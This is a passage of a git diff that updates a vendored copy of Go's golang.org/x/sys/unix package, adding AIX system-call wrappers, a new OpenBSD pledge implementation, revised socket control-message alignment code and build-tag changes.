-+ text += format(name, num, proto)
-+ }
-+ case "freebsd":
-+ if t.Match(`^([0-9]+)\s+\S+\s+(?:(?:NO)?STD|COMPAT10)\s+({ \S+\s+(\w+).*)$`) {
-+ num, proto := t.sub[1], t.sub[2]
-+ name := fmt.Sprintf("SYS_%s", t.sub[3])
-+ text += format(name, num, proto)
-+ }
-+ case "openbsd":
-+ if t.Match(`^([0-9]+)\s+STD\s+(NOLOCK\s+)?({ \S+\s+\*?(\w+).*)$`) {
-+ num, proto, name := t.sub[1], t.sub[3], t.sub[4]
-+ text += format(name, num, proto)
-+ }
-+ case "netbsd":
-+ if t.Match(`^([0-9]+)\s+((STD)|(NOERR))\s+(RUMP\s+)?({\s+\S+\s*\*?\s*\|(\S+)\|(\S*)\|(\w+).*\s+})(\s+(\S+))?$`) {
-+ num, proto, compat := t.sub[1], t.sub[6], t.sub[8]
-+ name := t.sub[7] + "_" + t.sub[9]
-+ if t.sub[11] != "" {
-+ name = t.sub[7] + "_" + t.sub[11]
-+ }
-+ name = strings.ToUpper(name)
-+ if compat == "" || compat == "13" || compat == "30" || compat == "50" {
-+ text += fmt.Sprintf(" %s = %s; // %s\n", name, num, proto)
-+ }
-+ }
-+ case "darwin":
-+ if t.Match(`^#define\s+SYS_(\w+)\s+([0-9]+)`) {
-+ name, num := t.sub[1], t.sub[2]
-+ name = strings.ToUpper(name)
-+ text += fmt.Sprintf(" SYS_%s = %s;\n", name, num)
-+ }
-+ default:
-+ fmt.Fprintf(os.Stderr, "unrecognized GOOS=%s\n", goos)
-+ os.Exit(1)
-+
-+ }
-+ }
-+ err := s.Err()
-+ checkErr(err)
-+
-+ fmt.Printf(template, cmdLine(), buildTags(), text)
-+}
-+
-+const template = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package unix
-+
-+const(
-+%s)`
-diff --git a/vendor/golang.org/x/sys/unix/openbsd_pledge.go b/vendor/golang.org/x/sys/unix/openbsd_pledge.go
-deleted file mode 100644
-index db4f72ea..00000000
---- a/vendor/golang.org/x/sys/unix/openbsd_pledge.go
-+++ /dev/null
-@@ -1,38 +0,0 @@
--// Copyright 2016 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build openbsd
--// +build 386 amd64 arm
--
--package unix
--
--import (
-- "syscall"
-- "unsafe"
--)
--
--const (
-- SYS_PLEDGE = 108
--)
--
--// Pledge implements the pledge syscall. For more information see pledge(2).
--func Pledge(promises string, paths []string) error {
-- promisesPtr, err := syscall.BytePtrFromString(promises)
-- if err != nil {
-- return err
-- }
-- promisesUnsafe, pathsUnsafe := unsafe.Pointer(promisesPtr), unsafe.Pointer(nil)
-- if paths != nil {
-- var pathsPtr []*byte
-- if pathsPtr, err = syscall.SlicePtrFromStrings(paths); err != nil {
-- return err
-- }
-- pathsUnsafe = unsafe.Pointer(&pathsPtr[0])
-- }
-- _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(promisesUnsafe), uintptr(pathsUnsafe), 0)
-- if e != 0 {
-- return e
-- }
-- return nil
--}
-diff --git a/vendor/golang.org/x/sys/unix/pagesize_unix.go b/vendor/golang.org/x/sys/unix/pagesize_unix.go
-new file mode 100644
-index 00000000..bc2f3629
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/pagesize_unix.go
-@@ -0,0 +1,15 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+// For Unix, get the pagesize from the runtime.
-+
-+package unix
-+
-+import "syscall"
-+
-+func Getpagesize() int {
-+ return syscall.Getpagesize()
-+}
-diff --git a/vendor/golang.org/x/sys/unix/pledge_openbsd.go b/vendor/golang.org/x/sys/unix/pledge_openbsd.go
-new file mode 100644
-index 00000000..eb48294b
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/pledge_openbsd.go
-@@ -0,0 +1,163 @@
-+// Copyright 2016 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+import (
-+ "errors"
-+ "fmt"
-+ "strconv"
-+ "syscall"
-+ "unsafe"
-+)
-+
-+// Pledge implements the pledge syscall.
-+//
-+// The pledge syscall does not accept execpromises on OpenBSD releases
-+// before 6.3.
-+//
-+// execpromises must be empty when Pledge is called on OpenBSD
-+// releases predating 6.3, otherwise an error will be returned.
-+//
-+// For more information see pledge(2).
-+func Pledge(promises, execpromises string) error {
-+ maj, min, err := majmin()
-+ if err != nil {
-+ return err
-+ }
-+
-+ err = pledgeAvailable(maj, min, execpromises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ pptr, err := syscall.BytePtrFromString(promises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ // This variable will hold either a nil unsafe.Pointer or
-+ // an unsafe.Pointer to a string (execpromises).
-+ var expr unsafe.Pointer
-+
-+ // If we're running on OpenBSD > 6.2, pass execpromises to the syscall.
-+ if maj > 6 || (maj == 6 && min > 2) {
-+ exptr, err := syscall.BytePtrFromString(execpromises)
-+ if err != nil {
-+ return err
-+ }
-+ expr = unsafe.Pointer(exptr)
-+ }
-+
-+ _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(unsafe.Pointer(pptr)), uintptr(expr), 0)
-+ if e != 0 {
-+ return e
-+ }
-+
-+ return nil
-+}
-+
-+// PledgePromises implements the pledge syscall.
-+//
-+// This changes the promises and leaves the execpromises untouched.
-+//
-+// For more information see pledge(2).
-+func PledgePromises(promises string) error {
-+ maj, min, err := majmin()
-+ if err != nil {
-+ return err
-+ }
-+
-+ err = pledgeAvailable(maj, min, "")
-+ if err != nil {
-+ return err
-+ }
-+
-+ // This variable holds the execpromises and is always nil.
-+ var expr unsafe.Pointer
-+
-+ pptr, err := syscall.BytePtrFromString(promises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(unsafe.Pointer(pptr)), uintptr(expr), 0)
-+ if e != 0 {
-+ return e
-+ }
-+
-+ return nil
-+}
-+
-+// PledgeExecpromises implements the pledge syscall.
-+//
-+// This changes the execpromises and leaves the promises untouched.
-+//
-+// For more information see pledge(2).
-+func PledgeExecpromises(execpromises string) error {
-+ maj, min, err := majmin()
-+ if err != nil {
-+ return err
-+ }
-+
-+ err = pledgeAvailable(maj, min, execpromises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ // This variable holds the promises and is always nil.
-+ var pptr unsafe.Pointer
-+
-+ exptr, err := syscall.BytePtrFromString(execpromises)
-+ if err != nil {
-+ return err
-+ }
-+
-+ _, _, e := syscall.Syscall(SYS_PLEDGE, uintptr(pptr), uintptr(unsafe.Pointer(exptr)), 0)
-+ if e != 0 {
-+ return e
-+ }
-+
-+ return nil
-+}
-+
-+// majmin returns major and minor version number for an OpenBSD system.
-+func majmin() (major int, minor int, err error) {
-+ var v Utsname
-+ err = Uname(&v)
-+ if err != nil {
-+ return
-+ }
-+
-+ major, err = strconv.Atoi(string(v.Release[0]))
-+ if err != nil {
-+ err = errors.New("cannot parse major version number returned by uname")
-+ return
-+ }
-+
-+ minor, err = strconv.Atoi(string(v.Release[2]))
-+ if err != nil {
-+ err = errors.New("cannot parse minor version number returned by uname")
-+ return
-+ }
-+
-+ return
-+}
-+
-+// pledgeAvailable checks for availability of the pledge(2) syscall
-+// based on the running OpenBSD version.
-+func pledgeAvailable(maj, min int, execpromises string) error {
-+ // If OpenBSD <= 5.9, pledge is not available.
-+ if (maj == 5 && min != 9) || maj < 5 {
-+ return fmt.Errorf("pledge syscall is not available on OpenBSD %d.%d", maj, min)
-+ }
-+
-+ // If OpenBSD <= 6.2 and execpromises is not empty,
-+ // return an error - execpromises is not available before 6.3
-+ if (maj < 6 || (maj == 6 && min <= 2)) && execpromises != "" {
-+ return fmt.Errorf("cannot use execpromises on OpenBSD %d.%d", maj, min)
-+ }
-+
-+ return nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/race.go b/vendor/golang.org/x/sys/unix/race.go
-index 3c7627eb..61712b51 100644
---- a/vendor/golang.org/x/sys/unix/race.go
-+++ b/vendor/golang.org/x/sys/unix/race.go
-@@ -1,4 +1,4 @@
--// Copyright 2012 The Go Authors. All rights reserved.
-+// Copyright 2012 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
-diff --git a/vendor/golang.org/x/sys/unix/race0.go b/vendor/golang.org/x/sys/unix/race0.go
-index f8678e0d..ad026678 100644
---- a/vendor/golang.org/x/sys/unix/race0.go
-+++ b/vendor/golang.org/x/sys/unix/race0.go
-@@ -1,8 +1,8 @@
--// Copyright 2012 The Go Authors. All rights reserved.
-+// Copyright 2012 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin,!race linux,!race freebsd,!race netbsd openbsd solaris dragonfly
-+// +build aix darwin,!race linux,!race freebsd,!race netbsd openbsd solaris dragonfly
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/readdirent_getdents.go b/vendor/golang.org/x/sys/unix/readdirent_getdents.go
-new file mode 100644
-index 00000000..3a90aa6d
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/readdirent_getdents.go
-@@ -0,0 +1,12 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix dragonfly freebsd linux netbsd openbsd
-+
-+package unix
-+
-+// ReadDirent reads directory entries from fd and writes them into buf.
-+func ReadDirent(fd int, buf []byte) (n int, err error) {
-+ return Getdents(fd, buf)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/readdirent_getdirentries.go b/vendor/golang.org/x/sys/unix/readdirent_getdirentries.go
-new file mode 100644
-index 00000000..5fdae40b
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/readdirent_getdirentries.go
-@@ -0,0 +1,19 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin
-+
-+package unix
-+
-+import "unsafe"
-+
-+// ReadDirent reads directory entries from fd and writes them into buf.
-+func ReadDirent(fd int, buf []byte) (n int, err error) {
-+ // Final argument is (basep *uintptr) and the syscall doesn't take nil.
-+ // 64 bits should be enough. (32 bits isn't even on 386). Since the
-+ // actual system call is getdirentries64, 64 is a good guess.
-+ // TODO(rsc): Can we use a single global basep for all calls?
-+ var base = (*uintptr)(unsafe.Pointer(new(uint64)))
-+ return Getdirentries(fd, buf, base)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go b/vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
-new file mode 100644
-index 00000000..5144deec
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go
-@@ -0,0 +1,16 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+// Round the length of a raw sockaddr up to align it properly.
-+func cmsgAlignOf(salen int) int {
-+ salign := SizeofPtr
-+ if SizeofPtr == 8 && !supportsABI(_dragonflyABIChangeVersion) {
-+ // 64-bit Dragonfly before the September 2019 ABI changes still requires
-+ // 32-bit aligned access to network subsystem.
-+ salign = 4
-+ }
-+ return (salen + salign - 1) & ^(salign - 1)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_linux.go b/vendor/golang.org/x/sys/unix/sockcmsg_linux.go
-index d9ff4731..8bf45705 100644
---- a/vendor/golang.org/x/sys/unix/sockcmsg_linux.go
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_linux.go
-@@ -1,4 +1,4 @@
--// Copyright 2011 The Go Authors. All rights reserved.
-+// Copyright 2011 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
-@@ -17,7 +17,7 @@ func UnixCredentials(ucred *Ucred) []byte {
- h.Level = SOL_SOCKET
- h.Type = SCM_CREDENTIALS
- h.SetLen(CmsgLen(SizeofUcred))
-- *((*Ucred)(cmsgData(h))) = *ucred
-+ *(*Ucred)(h.data(0)) = *ucred
- return b
- }
-
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_unix.go b/vendor/golang.org/x/sys/unix/sockcmsg_unix.go
-index bb756ece..003916ed 100644
---- a/vendor/golang.org/x/sys/unix/sockcmsg_unix.go
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_unix.go
-@@ -2,25 +2,15 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- // Socket control messages
-
- package unix
-
--import "unsafe"
--
--// Round the length of a raw sockaddr up to align it properly.
--func cmsgAlignOf(salen int) int {
-- salign := sizeofPtr
-- // NOTE: It seems like 64-bit Darwin, DragonFly BSD and
-- // Solaris kernels still require 32-bit aligned access to
-- // network subsystem.
-- if darwin64Bit || dragonfly64Bit || solaris64Bit {
-- salign = 4
-- }
-- return (salen + salign - 1) & ^(salign - 1)
--}
-+import (
-+ "unsafe"
-+)
-
- // CmsgLen returns the value to store in the Len field of the Cmsghdr
- // structure, taking into account any necessary alignment.
-@@ -34,8 +24,8 @@ func CmsgSpace(datalen int) int {
- return cmsgAlignOf(SizeofCmsghdr) + cmsgAlignOf(datalen)
- }
-
--func cmsgData(h *Cmsghdr) unsafe.Pointer {
-- return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)))
-+func (h *Cmsghdr) data(offset uintptr) unsafe.Pointer {
-+ return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)) + offset)
- }
-
- // SocketControlMessage represents a socket control message.
-@@ -78,10 +68,8 @@ func UnixRights(fds ...int) []byte {
- h.Level = SOL_SOCKET
- h.Type = SCM_RIGHTS
- h.SetLen(CmsgLen(datalen))
-- data := cmsgData(h)
-- for _, fd := range fds {
-- *(*int32)(data) = int32(fd)
-- data = unsafe.Pointer(uintptr(data) + 4)
-+ for i, fd := range fds {
-+ *(*int32)(h.data(4 * uintptr(i))) = int32(fd)
- }
- return b
- }
-diff --git a/vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go b/vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
-new file mode 100644
-index 00000000..7d08dae5
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go
-@@ -0,0 +1,38 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+import (
-+ "runtime"
-+)
-+
-+// Round the length of a raw sockaddr up to align it properly.
-+func cmsgAlignOf(salen int) int {
-+ salign := SizeofPtr
-+
-+ // dragonfly needs to check ABI version at runtime, see cmsgAlignOf in
-+ // sockcmsg_dragonfly.go
-+ switch runtime.GOOS {
-+ case "aix":
-+ // There is no alignment on AIX.
-+ salign = 1
-+ case "darwin", "illumos", "solaris":
-+ // NOTE: It seems like 64-bit Darwin, Illumos and Solaris
-+ // kernels still require 32-bit aligned access to network
-+ // subsystem.
-+ if SizeofPtr == 8 {
-+ salign = 4
-+ }
-+ case "netbsd", "openbsd":
-+ // NetBSD and OpenBSD armv7 require 64-bit alignment.
-+ if runtime.GOARCH == "arm" {
-+ salign = 8
-+ }
-+ }
-+
-+ return (salen + salign - 1) & ^(salign - 1)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/str.go b/vendor/golang.org/x/sys/unix/str.go
-index 35ed6643..17fb6986 100644
---- a/vendor/golang.org/x/sys/unix/str.go
-+++ b/vendor/golang.org/x/sys/unix/str.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/syscall.go b/vendor/golang.org/x/sys/unix/syscall.go
-index 85e35020..fd4ee8eb 100644
---- a/vendor/golang.org/x/sys/unix/syscall.go
-+++ b/vendor/golang.org/x/sys/unix/syscall.go
-@@ -2,33 +2,36 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- // Package unix contains an interface to the low-level operating system
--// primitives. OS details vary depending on the underlying system, and
-+// primitives. OS details vary depending on the underlying system, and
- // by default, godoc will display OS-specific documentation for the current
--// system. If you want godoc to display OS documentation for another
--// system, set $GOOS and $GOARCH to the desired system. For example, if
-+// system. If you want godoc to display OS documentation for another
-+// system, set $GOOS and $GOARCH to the desired system. For example, if
- // you want to view documentation for freebsd/arm on linux/amd64, set $GOOS
- // to freebsd and $GOARCH to arm.
-+//
- // The primary use of this package is inside other packages that provide a more
- // portable interface to the system, such as "os", "time" and "net". Use
- // those packages rather than this one if you can.
-+//
- // For details of the functions and data types in this package consult
- // the manuals for the appropriate operating system.
-+//
- // These calls return err == nil to indicate success; otherwise
- // err represents an operating system error describing the failure and
- // holds a value of type syscall.Errno.
- package unix // import "golang.org/x/sys/unix"
-
-+import "strings"
-+
- // ByteSliceFromString returns a NUL-terminated slice of bytes
- // containing the text of s. If s contains a NUL byte at any
- // location, it returns (nil, EINVAL).
- func ByteSliceFromString(s string) ([]byte, error) {
-- for i := 0; i < len(s); i++ {
-- if s[i] == 0 {
-- return nil, EINVAL
-- }
-+ if strings.IndexByte(s, 0) != -1 {
-+ return nil, EINVAL
- }
- a := make([]byte, len(s)+1)
- copy(a, s)
-@@ -47,23 +50,4 @@ func BytePtrFromString(s string) (*byte, error) {
- }
-
- // Single-word zero for use when we need a valid pointer to 0 bytes.
--// See mkunix.pl.
- var _zero uintptr
--
--func (ts *Timespec) Unix() (sec int64, nsec int64) {
-- return int64(ts.Sec), int64(ts.Nsec)
--}
--
--func (tv *Timeval) Unix() (sec int64, nsec int64) {
-- return int64(tv.Sec), int64(tv.Usec) * 1000
--}
--
--func (ts *Timespec) Nano() int64 {
-- return int64(ts.Sec)*1e9 + int64(ts.Nsec)
--}
--
--func (tv *Timeval) Nano() int64 {
-- return int64(tv.Sec)*1e9 + int64(tv.Usec)*1000
--}
--
--func TimevalToNsec(tv Timeval) int64 { return int64(tv.Sec)*1e9 + int64(tv.Usec)*1e3 }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_aix.go b/vendor/golang.org/x/sys/unix/syscall_aix.go
-new file mode 100644
-index 00000000..9ad8a0d4
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_aix.go
-@@ -0,0 +1,536 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+
-+// Aix system calls.
-+// This file is compiled as ordinary Go code,
-+// but it is also input to mksyscall,
-+// which parses the //sys lines and generates system call stubs.
-+// Note that sometimes we use a lowercase //sys name and
-+// wrap it in our own nicer implementation.
-+
-+package unix
-+
-+import "unsafe"
-+
-+/*
-+ * Wrapped
-+ */
-+
-+//sys utimes(path string, times *[2]Timeval) (err error)
-+func Utimes(path string, tv []Timeval) error {
-+ if len(tv) != 2 {
-+ return EINVAL
-+ }
-+ return utimes(path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
-+}
-+
-+//sys utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error)
-+func UtimesNano(path string, ts []Timespec) error {
-+ if len(ts) != 2 {
-+ return EINVAL
-+ }
-+ return utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+}
-+
-+func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
-+ if ts == nil {
-+ return utimensat(dirfd, path, nil, flags)
-+ }
-+ if len(ts) != 2 {
-+ return EINVAL
-+ }
-+ return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
-+}
-+
-+func (sa *SockaddrInet4) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if sa.Port < 0 || sa.Port > 0xFFFF {
-+ return nil, 0, EINVAL
-+ }
-+ sa.raw.Family = AF_INET
-+ p := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))
-+ p[0] = byte(sa.Port >> 8)
-+ p[1] = byte(sa.Port)
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrInet4, nil
-+}
-+
-+func (sa *SockaddrInet6) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if sa.Port < 0 || sa.Port > 0xFFFF {
-+ return nil, 0, EINVAL
-+ }
-+ sa.raw.Family = AF_INET6
-+ p := (*[2]byte)(unsafe.Pointer(&sa.raw.Port))
-+ p[0] = byte(sa.Port >> 8)
-+ p[1] = byte(sa.Port)
-+ sa.raw.Scope_id = sa.ZoneId
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Addr[i] = sa.Addr[i]
-+ }
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrInet6, nil
-+}
-+
-+func (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ name := sa.Name
-+ n := len(name)
-+ if n > len(sa.raw.Path) {
-+ return nil, 0, EINVAL
-+ }
-+ if n == len(sa.raw.Path) && name[0] != '@' {
-+ return nil, 0, EINVAL
-+ }
-+ sa.raw.Family = AF_UNIX
-+ for i := 0; i < n; i++ {
-+ sa.raw.Path[i] = uint8(name[i])
-+ }
-+ // length is family (uint16), name, NUL.
-+ sl := _Socklen(2)
-+ if n > 0 {
-+ sl += _Socklen(n) + 1
-+ }
-+ if sa.raw.Path[0] == '@' {
-+ sa.raw.Path[0] = 0
-+ // Don't count trailing NUL for abstract address.
-+ sl--
-+ }
-+
-+ return unsafe.Pointer(&sa.raw), sl, nil
-+}
-+
-+func Getsockname(fd int) (sa Sockaddr, err error) {
-+ var rsa RawSockaddrAny
-+ var len _Socklen = SizeofSockaddrAny
-+ if err = getsockname(fd, &rsa, &len); err != nil {
-+ return
-+ }
-+ return anyToSockaddr(fd, &rsa)
-+}
-+
-+//sys getcwd(buf []byte) (err error)
-+
-+const ImplementsGetwd = true
-+
-+func Getwd() (ret string, err error) {
-+ for len := uint64(4096); ; len *= 2 {
-+ b := make([]byte, len)
-+ err := getcwd(b)
-+ if err == nil {
-+ i := 0
-+ for b[i] != 0 {
-+ i++
-+ }
-+ return string(b[0:i]), nil
-+ }
-+ if err != ERANGE {
-+ return "", err
-+ }
-+ }
-+}
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ err = getcwd(buf)
-+ if err == nil {
-+ i := 0
-+ for buf[i] != 0 {
-+ i++
-+ }
-+ n = i + 1
-+ }
-+ return
-+}
-+
-+func Getgroups() (gids []int, err error) {
-+ n, err := getgroups(0, nil)
-+ if err != nil {
-+ return nil, err
-+ }
-+ if n == 0 {
-+ return nil, nil
-+ }
-+
-+ // Sanity check group count. Max is 16 on BSD.
-+ if n < 0 || n > 1000 {
-+ return nil, EINVAL
-+ }
-+
-+ a := make([]_Gid_t, n)
-+ n, err = getgroups(n, &a[0])
-+ if err != nil {
-+ return nil, err
-+ }
-+ gids = make([]int, n)
-+ for i, v := range a[0:n] {
-+ gids[i] = int(v)
-+ }
-+ return
-+}
-+
-+func Setgroups(gids []int) (err error) {
-+ if len(gids) == 0 {
-+ return setgroups(0, nil)
-+ }
-+
-+ a := make([]_Gid_t, len(gids))
-+ for i, v := range gids {
-+ a[i] = _Gid_t(v)
-+ }
-+ return setgroups(len(a), &a[0])
-+}
-+
-+/*
-+ * Socket
-+ */
-+
-+//sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
-+
-+func Accept(fd int) (nfd int, sa Sockaddr, err error) {
-+ var rsa RawSockaddrAny
-+ var len _Socklen = SizeofSockaddrAny
-+ nfd, err = accept(fd, &rsa, &len)
-+ if nfd == -1 {
-+ return
-+ }
-+ sa, err = anyToSockaddr(fd, &rsa)
-+ if err != nil {
-+ Close(nfd)
-+ nfd = 0
-+ }
-+ return
-+}
-+
-+func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
-+ // Recvmsg not implemented on AIX
-+ sa := new(SockaddrUnix)
-+ return -1, -1, -1, sa, ENOSYS
-+}
-+
-+func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
-+ _, err = SendmsgN(fd, p, oob, to, flags)
-+ return
-+}
-+
-+func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
-+ // SendmsgN not implemented on AIX
-+ return -1, ENOSYS
-+}
-+
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
-+ switch rsa.Addr.Family {
-+
-+ case AF_UNIX:
-+ pp := (*RawSockaddrUnix)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrUnix)
-+
-+ // Some versions of AIX have a bug in getsockname (see IV78655).
-+ // We can't rely on sa.Len being set correctly.
-+ n := SizeofSockaddrUnix - 3 // subtract leading Family, Len, terminating NUL.
-+ for i := 0; i < n; i++ {
-+ if pp.Path[i] == 0 {
-+ n = i
-+ break
-+ }
-+ }
-+
-+ bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ sa.Name = string(bytes)
-+ return sa, nil
-+
-+ case AF_INET:
-+ pp := (*RawSockaddrInet4)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet4)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+
-+ case AF_INET6:
-+ pp := (*RawSockaddrInet6)(unsafe.Pointer(rsa))
-+ sa := new(SockaddrInet6)
-+ p := (*[2]byte)(unsafe.Pointer(&pp.Port))
-+ sa.Port = int(p[0])<<8 + int(p[1])
-+ sa.ZoneId = pp.Scope_id
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.Addr[i] = pp.Addr[i]
-+ }
-+ return sa, nil
-+ }
-+ return nil, EAFNOSUPPORT
-+}
-+
-+func Gettimeofday(tv *Timeval) (err error) {
-+ err = gettimeofday(tv, nil)
-+ return
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
-+// TODO
-+func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ return -1, ENOSYS
-+}
-+
-+func direntIno(buf []byte) (uint64, bool) {
-+ return readInt(buf, unsafe.Offsetof(Dirent{}.Ino), unsafe.Sizeof(Dirent{}.Ino))
-+}
-+
-+func direntReclen(buf []byte) (uint64, bool) {
-+ return readInt(buf, unsafe.Offsetof(Dirent{}.Reclen), unsafe.Sizeof(Dirent{}.Reclen))
-+}
-+
-+func direntNamlen(buf []byte) (uint64, bool) {
-+ reclen, ok := direntReclen(buf)
-+ if !ok {
-+ return 0, false
-+ }
-+ return reclen - uint64(unsafe.Offsetof(Dirent{}.Name)), true
-+}
-+
-+//sys getdirent(fd int, buf []byte) (n int, err error)
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ return getdirent(fd, buf)
-+}
-+
-+//sys wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error)
-+func Wait4(pid int, wstatus *WaitStatus, options int, rusage *Rusage) (wpid int, err error) {
-+ var status _C_int
-+ var r Pid_t
-+ err = ERESTART
-+ // AIX wait4 may return with ERESTART errno, while the processus is still
-+ // active.
-+ for err == ERESTART {
-+ r, err = wait4(Pid_t(pid), &status, options, rusage)
-+ }
-+ wpid = int(r)
-+ if wstatus != nil {
-+ *wstatus = WaitStatus(status)
-+ }
-+ return
-+}
-+
-+/*
-+ * Wait
-+ */
-+
-+type WaitStatus uint32
-+
-+func (w WaitStatus) Stopped() bool { return w&0x40 != 0 }
-+func (w WaitStatus) StopSignal() Signal {
-+ if !w.Stopped() {
-+ return -1
-+ }
-+ return Signal(w>>8) & 0xFF
-+}
-+
-+func (w WaitStatus) Exited() bool { return w&0xFF == 0 }
-+func (w WaitStatus) ExitStatus() int {
-+ if !w.Exited() {
-+ return -1
-+ }
-+ return int((w >> 8) & 0xFF)
-+}
-+
-+func (w WaitStatus) Signaled() bool { return w&0x40 == 0 && w&0xFF != 0 }
-+func (w WaitStatus) Signal() Signal {
-+ if !w.Signaled() {
-+ return -1
-+ }
-+ return Signal(w>>16) & 0xFF
-+}
-+
-+func (w WaitStatus) Continued() bool { return w&0x01000000 != 0 }
-+
-+func (w WaitStatus) CoreDump() bool { return w&0x80 == 0x80 }
-+
-+func (w WaitStatus) TrapCause() int { return -1 }
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+// fcntl must never be called with cmd=F_DUP2FD because it doesn't work on AIX
-+// There is no way to create a custom fcntl and to keep //sys fcntl easily,
